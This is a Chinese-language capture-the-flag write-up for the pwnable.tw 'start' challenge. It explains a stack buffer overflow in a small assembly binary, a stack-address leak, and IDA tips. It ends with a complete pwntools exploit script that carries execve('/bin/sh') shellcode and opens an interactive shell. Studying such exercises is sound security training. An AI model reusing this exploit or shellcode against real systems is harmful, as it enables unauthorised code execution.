pwnable.tw start writeup
与pwnable.kr不同的是,pwnable.tw的题目和目前CTF比赛的题目很贴近,因此转到这里来刷题。
background
与pwnable.kr不同的是,pwnable.tw的题目和目前CTF比赛的题目很贴近,因此转到这里来刷题。
analysis
- IDA disassemble
程序的主要功能有两个:
- 用
sys_write
系统调用输出一段字符串 - 后用
sys_read
获取输入 - retn调用
_exit
退出程序
原本未发现本题是直接用汇编写的,奇怪的地方在于程序开始时首先push esp
再push _exit
函数的地址,导致retn
后esp
指向了栈的地址。
在sys_read
处存在bof
有一次布置shellcode和控制EIP
的机会。本题的难点在于如何确定shellcode的地址。
再回到程序的功能本身,未开启任何漏洞缓解措施,只有一次读,一次写,一次退出。考虑能不能在栈上布置shellcode来getshell。
如果要在栈上shellcode,必须要知道栈的地址。而栈的地址在程序retn
后保存在了esp
中。因此我们可以利用bof
,控制EIP
为0x8048087
,利用程序本身的sys_write
读来泄漏栈的地址。第二次利用bof
,控制EIP
指向shellcode即可。
注意虽然是在retn
后第二次利用bof
,offset其实和第一次是一样的,offset和sys_read
时ESP
指针有关。
btw
- IDA在反编译代码时常出现error:
Decompilation failure:46AFAF: positive sp value has been found
。
常见原因:ida-positive-sp-value-has-been-found-error 而本题的原因是,源程序是汇编写的,retn
实际的作用是jmp 下一条指令,但是干扰了IDA分析,导致在_exit
函数中,pop esp
这一个恢复栈的举动导致了反编译时栈指针报错。
修复方法:打开Option->General->Stack Pointer
。Alt+K
修复栈指针。
Q
- bash中
checksec
发现没有开启任何保护措施,但在bash执行gdb后,执行checksec
发现程序至开启了NX。
答:gdb调试程序后,vmmap查看rwx更加准确,不用依赖于checksec。
exp
from pwn import *
import sys,getopt
import time
args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0
proc_name = 'start1'
local = 1 if '-r' not in args else 0
attach = local & 1
bps = attach & 0
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = 'chall.pwnable.tw'
port = 10000
io = None
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def sd(data):
return io.send(data)
def rl():
return io.recvline()
def pwn():
makeio()
if debug:
context.log_level = 'debug'
if attach:
if bps:
gdb.attach(pidof(proc_name)[0], open('bps'))
else:
gdb.attach(pidof(proc_name)[0])
ru("Let's start the CTF:")
payload = 'A'*0x14 + p32(0x08048087) # mov ecx,esp
sd(payload)
stack_addr = io.recv(4)
print stack_addr
stack_addr = u32(stack_addr)
print hex(stack_addr)
#shellcode = shellcraft.execve('/bin/sh')
#payload2 = 'B'*0x14 + p32(stack_addr+0x14) + shellcode
rop = asm("xor eax,eax;mov eax,0xb;xor edx,edx;xor ecx,ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp; int 0x80;")
payload2 = 'B'*0x14 + p32(stack_addr + 0x14) + rop
sl(payload2)
io.interactive()
if __name__ == '__main__':
pwn()